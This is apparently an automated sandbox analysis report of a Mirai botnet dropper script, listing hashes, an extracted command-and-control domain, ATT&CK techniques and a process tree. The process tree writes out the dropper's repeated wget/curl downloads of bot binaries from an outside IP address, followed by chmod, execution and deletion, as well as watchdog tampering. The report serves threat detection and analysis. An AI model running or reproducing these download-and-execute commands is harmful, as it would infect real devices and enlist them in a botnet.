mirai | cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85

Analysis

max time kernel
149s
max time network
155s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
20/06/2026, 13:09

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General

Target
_cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
Size 2KB
Sample260620-qd2rpse19l
SHA256 cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85
MD5 2368ac3acb08766f54a6bf55852b6cc2
SHA1 337fc7a94259d4a117fe2eb35ba9184feb83ec89
SHA512 633fce7183e10eb65fc92429101054913f6dc71cc7e3490c9523a1c1aabfb08908e0d55166b31614f25b07bf40ef5e059f59610872420c490479c5bc0cd5e4ef
TLSH
T1AA5188C6108177326DF6DD32BABA88157280D09B64CFAF999DD8BBA984CDD04BC51743
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery mirai upx

Malware Config

Extracted

Family

mirai

u87yy3f87b23f8293bfg83bgu94.bombamodzik.xyz

Extracted

Family

mirai

u87yy3f87b23f8293bfg83bgu94.bombamodzik.xyz

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1599	chmod
1532	chmod
1543	chmod
1553	chmod
1575	chmod
1581	chmod
1538	chmod
1587	chmod
1593	chmod
1605	chmod
1613	chmod
1515	chmod
1526	chmod
1563	chmod
1569	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/nz.x86	1516	_cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh

Modifies Watchdog functionality 1 TTPs 6 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	nz.x86
File opened for modification	/dev/misc/watchdog	nz.x86
File opened for modification	/dev/watchdog	nz.i686
File opened for modification	/dev/misc/watchdog	nz.i686
File opened for modification	/dev/watchdog	nz.x86_64
File opened for modification	/dev/misc/watchdog	nz.x86_64

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 6 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	nz.x86
File opened for modification	/bin/watchdog	nz.x86
File opened for modification	/sbin/watchdog	nz.i686
File opened for modification	/bin/watchdog	nz.i686
File opened for modification	/sbin/watchdog	nz.x86_64
File opened for modification	/bin/watchdog	nz.x86_64

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-2.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/158/status	nz.x86
File opened for reading	/proc/1499/status	nz.x86
File opened for reading	/proc/3/status	nz.i686
File opened for reading	/proc/491/status	nz.i686
File opened for reading	/proc/617/status	nz.x86_64
File opened for reading	/proc/948/status	nz.x86
File opened for reading	/proc/1521/status	nz.i686
File opened for reading	/proc/1396/status	nz.x86
File opened for reading	/proc/515/status	nz.i686
File opened for reading	/proc/1086/status	nz.i686
File opened for reading	/proc/1352/status	nz.i686
File opened for reading	/proc/3/status	nz.x86
File opened for reading	/proc/943/status	nz.x86
File opened for reading	/proc/1101/status	nz.x86
File opened for reading	/proc/1107/status	nz.x86
File opened for reading	/proc/492/status	nz.i686
File opened for reading	/proc/1046/status	nz.i686
File opened for reading	/proc/1352/status	nz.x86_64
File opened for reading	/proc/81/status	nz.x86
File opened for reading	/proc/317/status	nz.x86
File opened for reading	/proc/470/status	nz.x86_64
File opened for reading	/proc/926/status	nz.x86
File opened for reading	/proc/24/status	nz.x86
File opened for reading	/proc/169/status	nz.x86
File opened for reading	/proc/2/status	nz.i686
File opened for reading	/proc/164/status	nz.i686
File opened for reading	/proc/1096/status	nz.x86_64
File opened for reading	/proc/115/status	nz.x86_64
File opened for reading	/proc/982/status	nz.x86_64
File opened for reading	/proc/1086/status	nz.x86_64
File opened for reading	/proc/1088/status	nz.x86_64
File opened for reading	/proc/27/status	nz.x86
File opened for reading	/proc/677/status	nz.x86
File opened for reading	/proc/1308/status	nz.x86
File opened for reading	/proc/1546/status	nz.x86_64
File opened for reading	/proc/14/status	nz.x86
File opened for reading	/proc/504/status	nz.x86
File opened for reading	/proc/943/status	nz.i686
File opened for reading	/proc/1186/status	nz.x86_64
File opened for reading	/proc/1256/status	nz.x86
File opened for reading	/proc/1496/status	nz.i686
File opened for reading	/proc/78/status	nz.x86
File opened for reading	/proc/98/status	nz.x86
File opened for reading	/proc/29/status	nz.i686
File opened for reading	/proc/968/status	nz.i686
File opened for reading	/proc/1295/status	nz.i686
File opened for reading	/proc/962/status	nz.x86_64
File opened for reading	/proc/6/status	nz.x86
File opened for reading	/proc/1086/status	nz.x86
File opened for reading	/proc/21/status	nz.i686
File opened for reading	/proc/31/status	nz.i686
File opened for reading	/proc/317/status	nz.i686
File opened for reading	/proc/170/status	nz.x86_64
File opened for reading	/proc/173/status	nz.x86_64
File opened for reading	/proc/495/status	nz.x86
File opened for reading	/proc/1071/status	nz.x86
File opened for reading	/proc/668/status	nz.i686
File opened for reading	/proc/22/status	nz.x86_64
File opened for reading	/proc/1315/status	nz.x86_64
File opened for reading	/proc/164/status	nz.x86
File opened for reading	/proc/1496/status	nz.x86
File opened for reading	/proc/168/status	nz.i686
File opened for reading	/proc/24/status	nz.x86_64
File opened for reading	/proc/16/status	nz.x86

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1527	nz.mips
1529	rm
1524	wget
1525	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nz.x86	curl
File opened for modification	/tmp/nz.x86_64	wget
File opened for modification	/tmp/nz.arm7	curl
File opened for modification	/tmp/nz.spc	curl
File opened for modification	/tmp/nz.m68k	curl
File opened for modification	/tmp/nz.mips	curl
File opened for modification	/tmp/nz.i686	curl
File opened for modification	/tmp/nz.arm	curl
File opened for modification	/tmp/nz.spc	wget
File opened for modification	/tmp/nz.sh4	wget
File opened for modification	/tmp/nz.sh4	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/nz.x86	wget
File opened for modification	/tmp/nz.mips	wget
File opened for modification	/tmp/nz.arm5	curl
File opened for modification	/tmp/nz.arm6	curl
File opened for modification	/tmp/nz.arc	wget
File opened for modification	/tmp/nz.arc	curl
File opened for modification	/tmp/nz.i468	curl
File opened for modification	/tmp/nz.mpsl	wget
File opened for modification	/tmp/nz.mpsl	curl
File opened for modification	/tmp/nz.arm5	wget
File opened for modification	/tmp/nz.i686	wget
File opened for modification	/tmp/nz.arm	wget
File opened for modification	/tmp/nz.arm6	wget
File opened for modification	/tmp/nz.ppc	wget
File opened for modification	/tmp/nz.ppc	curl
File opened for modification	/tmp/nz.m68k	wget
File opened for modification	/tmp/nz.x86_64	curl
File opened for modification	/tmp/nz.arm7	wget

/tmp/_cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
/tmp/_cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh
1⤵
- Executes dropped EXE
PID:1506
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1507
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.x86
  2⤵
  - Writes file to tmp directory
  PID:1509
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.x86
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh config-err-6cG03T netplan_1n6evfg1 nz.x86 snap-private-tmp ssh-4D8HiXqKgwqr systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-UBL8LC
  2⤵
  - File and Directory Permissions Modification
  PID:1515
- /tmp/nz.x86
  ./nz.x86 nz.x86
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1516
- /bin/rm
  rm -rf nz.x86
  2⤵
  PID:1523
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1524
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1525
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh config-err-6cG03T netplan_1n6evfg1 nz.mips snap-private-tmp ssh-4D8HiXqKgwqr systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-UBL8LC
  2⤵
  - File and Directory Permissions Modification
  PID:1526
- /tmp/nz.mips
  ./nz.mips nz.mips
  2⤵
  - System Network Configuration Discovery
  PID:1527
- /bin/rm
  rm -rf nz.mips
  2⤵
  - System Network Configuration Discovery
  PID:1529
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.arc
  2⤵
  - Writes file to tmp directory
  PID:1530
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.arc
  2⤵
  - Writes file to tmp directory
  PID:1531
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh config-err-6cG03T netplan_1n6evfg1 nz.arc snap-private-tmp ssh-4D8HiXqKgwqr systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-UBL8LC
  2⤵
  - File and Directory Permissions Modification
  PID:1532
- /tmp/nz.arc
  ./nz.arc nz.arc
  2⤵
  PID:1533
- /bin/rm
  rm -rf nz.arc
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.i468
  2⤵
  PID:1536
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.i468
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh config-err-6cG03T netplan_1n6evfg1 nz.i468 snap-private-tmp ssh-4D8HiXqKgwqr systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-UBL8LC
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/nz.i468
  ./nz.i468 nz.i468
  2⤵
  PID:1539
- /bin/rm
  rm -rf nz.i468
  2⤵
  PID:1540
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.i686
  2⤵
  - Writes file to tmp directory
  PID:1541
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.i686
  2⤵
  - Writes file to tmp directory
  PID:1542
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh config-err-6cG03T netplan_1n6evfg1 nz.i686 snap-private-tmp ssh-4D8HiXqKgwqr systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-UBL8LC
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /tmp/nz.i686
  ./nz.i686 nz.i686
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1544
- /bin/rm
  rm -rf nz.i686
  2⤵
  PID:1550
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1551
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1552
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh config-err-6cG03T netplan_1n6evfg1 nz.x86_64 snap-private-tmp ssh-4D8HiXqKgwqr systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-UBL8LC
  2⤵
  - File and Directory Permissions Modification
  PID:1553
- /tmp/nz.x86_64
  ./nz.x86_64 nz.x86_64
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1554
- /bin/rm
  rm -rf nz.x86_64
  2⤵
  PID:1560
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1561
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1562
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh config-err-6cG03T netplan_1n6evfg1 nz.mpsl snap-private-tmp ssh-4D8HiXqKgwqr systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-UBL8LC
  2⤵
  - File and Directory Permissions Modification
  PID:1563
- /tmp/nz.mpsl
  ./nz.mpsl nz.mpsl
  2⤵
  PID:1564
- /bin/rm
  rm -rf nz.mpsl
  2⤵
  PID:1566
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.arm
  2⤵
  - Writes file to tmp directory
  PID:1567
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.arm
  2⤵
  - Writes file to tmp directory
  PID:1568
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh config-err-6cG03T netplan_1n6evfg1 nz.arm snap-private-tmp ssh-4D8HiXqKgwqr systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-UBL8LC
  2⤵
  - File and Directory Permissions Modification
  PID:1569
- /tmp/nz.arm
  ./nz.arm nz.arm
  2⤵
  PID:1570
- /bin/rm
  rm -rf nz.arm
  2⤵
  PID:1572
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.arm5
  2⤵
  - Writes file to tmp directory
  PID:1573
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.arm5
  2⤵
  - Writes file to tmp directory
  PID:1574
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh config-err-6cG03T netplan_1n6evfg1 nz.arm5 snap-private-tmp ssh-4D8HiXqKgwqr systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-UBL8LC
  2⤵
  - File and Directory Permissions Modification
  PID:1575
- /tmp/nz.arm5
  ./nz.arm5 nz.arm5
  2⤵
  PID:1576
- /bin/rm
  rm -rf nz.arm5
  2⤵
  PID:1578
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.arm6
  2⤵
  - Writes file to tmp directory
  PID:1579
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.arm6
  2⤵
  - Writes file to tmp directory
  PID:1580
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh config-err-6cG03T netplan_1n6evfg1 nz.arm6 snap-private-tmp ssh-4D8HiXqKgwqr systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-UBL8LC
  2⤵
  - File and Directory Permissions Modification
  PID:1581
- /tmp/nz.arm6
  ./nz.arm6 nz.arm6
  2⤵
  PID:1582
- /bin/rm
  rm -rf nz.arm6
  2⤵
  PID:1584
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.arm7
  2⤵
  - Writes file to tmp directory
  PID:1585
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.arm7
  2⤵
  - Writes file to tmp directory
  PID:1586
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh config-err-6cG03T netplan_1n6evfg1 nz.arm7 snap-private-tmp ssh-4D8HiXqKgwqr systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-UBL8LC
  2⤵
  - File and Directory Permissions Modification
  PID:1587
- /tmp/nz.arm7
  ./nz.arm7 nz.arm7
  2⤵
  PID:1588
- /bin/rm
  rm -rf nz.arm7
  2⤵
  PID:1590
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.ppc
  2⤵
  - Writes file to tmp directory
  PID:1591
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.ppc
  2⤵
  - Writes file to tmp directory
  PID:1592
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh config-err-6cG03T netplan_1n6evfg1 nz.ppc snap-private-tmp ssh-4D8HiXqKgwqr systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-UBL8LC
  2⤵
  - File and Directory Permissions Modification
  PID:1593
- /tmp/nz.ppc
  ./nz.ppc nz.ppc
  2⤵
  PID:1594
- /bin/rm
  rm -rf nz.ppc
  2⤵
  PID:1596
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.spc
  2⤵
  - Writes file to tmp directory
  PID:1597
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.spc
  2⤵
  - Writes file to tmp directory
  PID:1598
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh config-err-6cG03T netplan_1n6evfg1 nz.spc snap-private-tmp ssh-4D8HiXqKgwqr systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-UBL8LC
  2⤵
  - File and Directory Permissions Modification
  PID:1599
- /tmp/nz.spc
  ./nz.spc nz.spc
  2⤵
  PID:1600
- /bin/rm
  rm -rf nz.spc
  2⤵
  PID:1602
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.m68k
  2⤵
  - Writes file to tmp directory
  PID:1603
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.m68k
  2⤵
  - Writes file to tmp directory
  PID:1604
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh config-err-6cG03T netplan_1n6evfg1 nz.m68k snap-private-tmp ssh-4D8HiXqKgwqr systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-UBL8LC
  2⤵
  - File and Directory Permissions Modification
  PID:1605
- /tmp/nz.m68k
  ./nz.m68k nz.m68k
  2⤵
  PID:1606
- /bin/rm
  rm -rf nz.m68k
  2⤵
  PID:1608
- /usr/bin/wget
  wget http://176.65.139.195/nz/nz.sh4
  2⤵
  - Writes file to tmp directory
  PID:1609
- /usr/bin/curl
  curl -O http://176.65.139.195/nz/nz.sh4
  2⤵
  - Writes file to tmp directory
  PID:1610
- /bin/chmod
  chmod +x busybox _cac16de59cd6c00305f0d9a8fa5a2adb5e4dac2dde02b78705f126a94546fe85.sh config-err-6cG03T netplan_1n6evfg1 nz.sh4 snap-private-tmp ssh-4D8HiXqKgwqr systemd-private-9ba5bc8871ad452da54841b558582aa4-bolt.service-6QaH0S systemd-private-9ba5bc8871ad452da54841b558582aa4-colord.service-gaowY4 systemd-private-9ba5bc8871ad452da54841b558582aa4-ModemManager.service-A02Fg5 systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-resolved.service-KvwHjg systemd-private-9ba5bc8871ad452da54841b558582aa4-systemd-timedated.service-UBL8LC
  2⤵
  - File and Directory Permissions Modification
  PID:1613
- /tmp/nz.sh4
  ./nz.sh4 nz.sh4
  2⤵
  PID:1614
- /bin/rm
  rm -rf nz.sh4
  2⤵
  PID:1616

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

busybox

Path /tmp/busybox
Size 2.0MB
SHA256 a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
MD5 b4dede5fc0b1bad5cb8e901bde126b97
SHA1 10cbe9a418ad84a1ed297948539d37aeb58dd810
SHA512 45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6
SSDEEP 49152:YfQ1HrHIYLrf2uxW2kx7gRHdITdHR8MonrH1NqCgkR:WYfFVdIpGxz1E
TLSH
T1D8A57C16B2E320FCC597C13043AFD7626D75B4AA12317E7F35849A312E56EA02B1DB63
MD5 SHA1 SHA512 SSDEEP TLSH

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nz.x86

Path /tmp/nz.x86
Size 38KB
SHA256 c544eee59638d1d3441f2626e2023dfc92c7c44ed88bdb08bef0ea097eb8728f
MD5 d5f91fc95e3790abfe3d85ca6b4d114a
SHA1 056b22f02fec7732f0da6b9429ad71469fe35334
SHA512 8fe214990b31e6abd09953d635814c2319f42f8ce0b797170cf8ffc0a7d9b889b67ba565b6f0127b6c244045ecef489b4d92f71c112c600bc09b66fed8fc43d1
SSDEEP 768:kKHoLnvmog+t5H9079Q98Vr3dLGecSIwSnbcuyD7UHQRjO:GnvmopN07a7eJIwSnouy8Hyi
TLSH
T11B03F16BC2695E90DA2DD3309EEAF11E7831F6298336C21078D034669CBD9D1353D7D4
MD5 SHA1 SHA512 SSDEEP TLSH

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads